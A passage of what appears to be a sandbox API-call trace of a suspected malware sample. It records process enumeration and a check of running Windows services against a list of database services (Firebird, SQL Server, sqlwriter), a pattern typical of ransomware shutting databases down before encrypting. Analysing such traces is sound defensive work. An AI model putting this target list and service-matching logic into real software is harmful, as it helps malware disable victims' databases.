th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.180] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.180] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0165.180] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0165.181] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0165.181] lstrlenW (lpString="movers-indication.exe") returned 21 [0165.181] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0165.182] lstrlenW (lpString="drama tv thee.exe") returned 17 [0165.182] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0165.183] lstrlenW (lpString="barriers.exe") returned 12 [0165.183] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0165.184] lstrlenW (lpString="shootclick.exe") returned 14 [0165.184] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0165.185] lstrlenW (lpString="nickel.exe") returned 10 [0165.185] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0165.185] lstrlenW (lpString="imperialopened.exe") returned 18 [0165.186] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0165.186] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0165.186] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0165.187] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0165.187] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0165.188] lstrlenW (lpString="perhapssentences.exe") returned 20 [0165.188] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0165.189] lstrlenW (lpString="dllhost.exe") returned 11 [0165.189] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.190] lstrlenW (lpString="svchost.exe") returned 11 [0165.190] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0165.191] lstrlenW (lpString="chrome64b.exe") returned 13 [0165.191] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0165.191] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0165.192] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.192] lstrlenW (lpString="conhost.exe") returned 11 [0165.192] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0165.193] lstrlenW (lpString="cmd.exe") returned 7 [0165.193] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.194] lstrlenW (lpString="conhost.exe") returned 11 [0165.194] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0165.195] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0165.195] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0165.195] lstrlenW (lpString="mode.com") returned 8 [0165.195] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0165.209] CloseHandle (hObject=0x318) returned 1 [0165.209] Sleep (dwMilliseconds=0x1f4) [0165.753] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8c0 [0165.754] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0165.754] GetLastError () returned 0xea [0165.754] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800c8 [0165.756] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800c8, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800c8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0165.757] CloseServiceHandle (hSCObject=0x7ce8c0) returned 1 [0165.757] lstrlenW (lpString="Appinfo") returned 7 [0165.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0165.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0165.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0165.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0165.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0165.757] lstrlenW (lpString="AppXSvc") returned 7 [0165.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0165.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0165.757] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0165.757] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0165.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0165.757] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.757] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.757] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.757] lstrlenW (lpString="Audiosrv") returned 8 [0165.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0165.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0165.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0165.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0165.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0165.758] lstrlenW (lpString="BFE") returned 3 [0165.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.758] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.758] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0165.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0165.758] lstrlenW (lpString="BITS") returned 4 [0165.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0165.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0165.758] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0165.758] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0165.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0165.758] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0165.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.758] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0165.758] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0165.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0165.758] lstrlenW (lpString="CDPSvc") returned 6 [0165.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0165.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0165.758] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0165.758] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0165.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0165.758] lstrlenW (lpString="ClickToRunSvc") returned 13 [0165.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0165.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0165.758] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0165.758] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0165.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0165.759] lstrlenW (lpString="ClipSVC") returned 7 [0165.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0165.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0165.759] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0165.759] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0165.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0165.759] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0165.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.759] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0165.759] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0165.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0165.759] lstrlenW (lpString="CryptSvc") returned 8 [0165.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0165.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0165.759] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0165.759] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0165.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0165.759] lstrlenW (lpString="DcomLaunch") returned 10 [0165.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.759] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0165.759] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0165.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0165.759] lstrlenW (lpString="DeviceAssociationService") returned 24 [0165.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0165.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0165.759] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0165.759] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0165.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0165.759] lstrlenW (lpString="Dhcp") returned 4 [0165.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0165.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0165.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0165.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0165.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0165.760] lstrlenW (lpString="Dnscache") returned 8 [0165.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0165.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0165.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0165.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0165.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0165.760] lstrlenW (lpString="DoSvc") returned 5 [0165.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0165.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0165.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0165.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0165.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0165.760] lstrlenW (lpString="DPS") returned 3 [0165.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0165.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0165.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0165.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0165.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0165.760] lstrlenW (lpString="DusmSvc") returned 7 [0165.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0165.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0165.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0165.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0165.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0165.760] lstrlenW (lpString="EventLog") returned 8 [0165.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0165.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0165.760] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0165.760] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0165.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0165.760] lstrlenW (lpString="EventSystem") returned 11 [0165.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0165.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0165.761] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0165.761] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0165.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0165.761] lstrlenW (lpString="FontCache") returned 9 [0165.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0165.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0165.761] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0165.761] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0165.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0165.761] lstrlenW (lpString="gpsvc") returned 5 [0165.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0165.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0165.761] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0165.761] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0165.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0165.761] lstrlenW (lpString="iphlpsvc") returned 8 [0165.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.761] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0165.761] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0165.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0165.761] lstrlenW (lpString="KeyIso") returned 6 [0165.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0165.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0165.761] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0165.761] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0165.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0165.761] lstrlenW (lpString="LanmanServer") returned 12 [0165.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0165.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0165.761] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0165.761] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0165.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0165.761] lstrlenW (lpString="LanmanWorkstation") returned 17 [0165.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.762] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0165.762] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0165.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0165.762] lstrlenW (lpString="lfsvc") returned 5 [0165.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0165.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0165.762] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0165.762] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0165.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0165.762] lstrlenW (lpString="LicenseManager") returned 14 [0165.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0165.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0165.762] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0165.762] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0165.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0165.762] lstrlenW (lpString="lmhosts") returned 7 [0165.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0165.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0165.762] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0165.762] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0165.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0165.762] lstrlenW (lpString="LSM") returned 3 [0165.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0165.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0165.762] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0165.762] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0165.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0165.762] lstrlenW (lpString="MpsSvc") returned 6 [0165.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0165.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0165.762] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0165.762] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0165.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0165.763] lstrlenW (lpString="NcbService") returned 10 [0165.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0165.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0165.763] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0165.763] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0165.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0165.763] lstrlenW (lpString="netprofm") returned 8 [0165.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0165.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0165.763] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0165.763] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0165.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0165.763] lstrlenW (lpString="NlaSvc") returned 6 [0165.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0165.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0165.763] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0165.763] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0165.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0165.763] lstrlenW (lpString="nsi") returned 3 [0165.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0165.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0165.763] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0165.763] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0165.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0165.763] lstrlenW (lpString="PcaSvc") returned 6 [0165.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0165.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0165.763] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0165.763] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0165.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0165.763] lstrlenW (lpString="PlugPlay") returned 8 [0165.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0165.763] lstrcmpiW 